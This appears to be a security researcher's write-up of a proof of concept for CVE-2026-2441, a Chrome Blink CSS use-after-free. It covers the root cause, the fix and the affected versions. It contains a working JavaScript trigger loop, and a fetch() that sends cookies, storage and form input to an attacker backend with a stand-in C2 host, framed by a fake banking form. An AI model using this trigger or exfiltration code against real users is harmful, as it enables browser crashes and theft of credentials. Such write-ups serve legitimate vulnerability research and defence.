Detailed proof-of-concept and technical analysis for CVE-2026-2441, a Chrome CSS use-after-free vulnerability enabling sandboxed renderer RCE via crafted HTML pages.
CVSS 8.8 (High) | Actively Exploited in the Wild | Renderer RCE (Sandboxed)
A use-after-free vulnerability in Google Chrome's Blink CSS engine that allows a remote attacker to execute arbitrary code inside the browser sandbox via a crafted HTML page.
| Field | Value |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (High) |
| Type | Use-After-Free (CWE-416) |
| Component | Blink CSS — CSSFontFeatureValuesMap |
| Source File | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Fix Commit | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Reporter | Shaheen Fazim (2026-02-11) |
| Patch Date | 2026-02-13 |
| In-the-Wild | Yes — Google confirmed active exploitation |
| Platform | Vulnerable | Fixed |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium-based browsers (Edge, Brave, Opera, Vivaldi) | Check vendor advisory | Varies |
FontFeatureValuesMapIterationSource stored a raw pointer (const FontFeatureAliases* aliases_) to the internal FontFeatureAliases HashMap. When the map is mutated during iteration via set() or delete(), the HashMap rehashes — allocating new storage and freeing the old. The raw pointer becomes dangling, and the next FetchNextItem() call reads from freed memory.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
The fix replaces the raw pointer with a deep copy of the HashMap. Even if the original map rehashes, the iterator operates on its own copy, preventing the dangling pointer.
poc.html in a vulnerable Chrome version (< 145.0.7632.75)| Chrome Version | Expected Behavior |
|---|---|
| < 145.0.7632.75 (unpatched) | Renderer crash — STATUS_ACCESS_VIOLATION (Windows) or SIGSEGV (Linux/macOS). Chrome shows "Can't open this page" error. |
| >= 145.0.7632.75 (patched) | No crash — PoC runs to completion, all entries are read normally. |
The PoC is organized to show the exploitation chain in a clear and reproducible order. The first part creates the vulnerable Blink/CSS object, the second part triggers the iterator invalidation, and the final part simulates the post-exploitation effects in a safe academic environment.
Important note: the UAF trigger is implemented through real browser-exposed CSS/JavaScript APIs. The heap leak and exfiltration dashboard are intentionally controlled/simulated to avoid releasing a weaponized Chromium exploit.
The payload first defines a CSS @font-feature-values rule:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
This rule causes Blink to create an internal CSSFontFeatureValuesMap. In the vulnerable implementation, iteration over this map is unsafe because the iterator keeps a raw pointer to the internal FontFeatureAliases storage.
The JavaScript payload later obtains the map from the stylesheet:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
At this point, the attacker-controlled page has a JavaScript handle to a browser object whose internal C++ implementation is vulnerable to iterator invalidation.
The trigger is not executed immediately. The PoC waits 800 ms before running the vulnerable sequence:
setTimeout(triggerUAF, 800);
This delay is used for demo stability. It allows the page and the fake banking verification form to be rendered before the memory-corruption trigger runs. In a real drive-by scenario, the same trigger could also be launched automatically as soon as the malicious page loads.
The core UAF primitive is the following loop:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
The vulnerability is triggered by the order of operations:
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.
The original aggressive strategy used a larger heap-spray-like loop, for example inserting hundreds of elements such as 512 new entries after each deletion. That creates stronger heap pressure and makes reallocation/reuse more likely.
For the live demo, this was reduced to only 4 mutation steps:
while (step < 4) {
// iterator read + delete + set
}
The reason is practical and pedagogical: the 512-element spray often made the renderer crash immediately. A crash is useful to prove availability impact, but it prevents the rest of the demonstration from showing the simulated data theft and attacker dashboard. The reduced version still demonstrates the vulnerable iterator-invalidation logic while keeping the browser stable enough for the live presentation.
A real weaponized UAF exploit would normally require a memory disclosure primitive to leak heap or V8 pointers and bypass ASLR. The demo does not implement a real arbitrary memory read. Instead, it generates a heap-like address from a predefined static range:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
This value is a simulated heap leak:
0x55a000000000 is the fixed heap-like starting range used by the demo.Math.random() * 0x200000 adds a small randomized offset.base & ~0xfff aligns the address to a page boundary.The purpose is to show what an ASLR-bypass leak would look like on the attacker dashboard without implementing an actual memory disclosure exploit.
After the UAF trigger and the simulated heap leak, the PoC builds a payload containing the collected form input, browser-resident session data, DOM snippet, UAF status, and simulated heap leak. The payload is sent to the local attacker backend:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
The local backend receives the data on POST /collect, stores it in memory, and forwards it to the attacker dashboard through Server-Sent Events (GET /events). This models the command-and-control/exfiltration phase of a real attack while remaining local and controlled.
document.cookie, localStorage, sessionStorage, form input valuesfetch() / WebSocket / sendBeacon()addEventListener('keydown')When combined with a separate sandbox escape vulnerability:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
Real-world exploit chains using similar browser UAFs:
This vulnerability is exploitable via drive-by download — no user interaction beyond visiting a malicious page is required:
chrome://flags/#site-isolation-trial-opt-out)| Date | Event |
|---|---|
| 2026-02-11 | Vulnerability reported by Shaheen Fazim |
| 2026-02-13 | Google releases Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google acknowledges in-the-wild exploitation |
| 2026-02-16 | Vivaldi and Opera ship fixes |
If you find this research useful, consider buying me a coffee:
This proof of concept is provided for educational and authorized security research purposes only. Use of this PoC against systems without explicit permission is illegal and unethical. The author is not responsible for any misuse.
MIT